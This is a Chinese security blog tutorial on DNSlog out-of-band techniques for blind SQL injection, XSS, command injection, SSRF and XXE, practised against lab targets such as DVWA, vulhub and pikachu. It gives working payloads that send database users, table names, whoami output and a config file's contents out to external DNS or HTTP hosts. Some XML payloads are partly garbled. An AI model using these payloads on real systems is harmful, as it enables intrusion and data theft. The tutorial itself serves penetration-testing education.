花5分鐘就能上手的dnslog盲打小技巧!
VSole2022-07-24 06:53:43
1.什么是dnslog
DNSlog是什么?DNSlog就是存儲在DNS服務器上的域名信息,它記錄著用戶對域名www.baidu.com等的訪問信息,類似日志文件
2.dnslog通常用在哪個地方
1.SQL盲注 2.無回顯的XSS 3.無回顯的命令執行 5.無回顯的SSRF 5.Blind XXE
2.1.SQL盲注
無論時時間盲注還是布爾盲注,都需要發送大量的數據包去判斷數據,很容易導致被waf封IP,如果條件允許的話,可以使用dnslog進行快速的數據外帶。以Mysql為例,通過dnslog外帶數據需要用到load_file函數,所以一般得是root權限,并且secure_file_priv得為空
payload:
select load_file(concat('\\\\',(select hex(user())),'.dnslog\\aa'));
注意:后面的aa文件存不存在不重要,隨便寫都行,但是必須要寫,因為是load_file函數需要的條件
以dvwa靶場為例(已手動修改:secure_file_priv=”):
payload:
1' and (select load_file(concat('//',(select hex(user())),'.xxxx.ceye.io/as')))# //查看當前用戶
1' and (select load_file(concat('//',(select database()),'.xxxx.ceye.io/as')))# //查數據庫
1' and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io/as')))# //查詢當前數據庫第一個表,第二個類推

2.2.無回顯的XSS
payload: .9e5ehg.dnslog.cn>

然后回頭看下dnslog,證明漏洞存在。

2.3.無回顯的命令注入
發現疑似命令執行的洞,但是目標站點什么也不顯示,無法確認是不是有漏洞。
windows: ping %USERNAME%.us0r6c.dnslog.cn linux: ping `whoami`.us0r6c.dnslog.cn 或者 x=`hostname`;ping -c 1 $x.d7jlma.dnslog.cn



下面是windows常用的變量。
//變量 類型 描述 //%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。 //%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。 //%CD% 本地 返回當前目錄字符串。 //%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的準確命令行。 //%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。 //%COMPUTERNAME% 系統 返回計算機的名稱。 //%COMSPEC% 系統 返回命令行解釋器可執行程序的準確路徑。 //%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。 //%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。 //%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 //%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 //%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 //%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。 //%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。 //%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。 //%PATH% 系統 指定可執行文件的搜索路徑。 //%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。 //%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基于 Itanium)。 //%PROCESSOR_IDENTFIER% 系統 返回處理器說明。 //%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。 //%PROCESSOR_REVISION% 系統 返回處理器的版本號。 //%P ROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。 //%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。 //%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。 //%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。 //%TEMP%和%TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。 //%TIME% 系統 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。 //%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。 //%USERNAME% 本地 返回當前登錄的用戶的名稱。 //%USERPROFILE% 本地 返回當前用戶的配置文件的位置。 //%WINDIR% 系統 返回操作系統目錄的位置。
2.4.無回顯的SSRF
這邊用的是vulhub的一個weblogic的ssrf漏洞。
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://rsr8pf.dnslog.cn 然后查看dnslog有記錄,就很有可能存在ssrf漏洞

2.5.Blind XXE
這邊用的是pikachu靶場,項目地址:https://github.com/zhuifengshaonianhanlu/pikachu
2.5.1.未修改源碼前,可以看到是有回顯的。
xml version="1.0" encoding="UTF-8"?> ]> <value>&xxe;value>

2.5.2.修改源碼,使其變成無回顯。

xml version="1.0" encoding="UTF-8"?> ]> <value>&xxe;value>
無回顯,但是可以看到dnslog收到請求,證明xxe漏洞存在。

文件讀取
注:這里需要一個VPS,VPS中放入一個DTD的文件,文件dtd內容如下:
"php://filter/read=convert.base64-encode/resource=file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini"> ">
然后利用python3開啟http服務。
python3 -m http.server --bind 0.0.0.0 1333

pyload: "1.0" encoding="UTF-8"?> "http://192.168.232.131:1333/evil.dtd"> %dtd;%int;%send;]>

burp suite提交數據后,vps獲得一串base64編碼。

將base64編碼拿去解碼后就是my.ini的文件內容。

3.結語
以上就是斗哥的技巧分享啦!下期再見!
VSole
網絡安全專家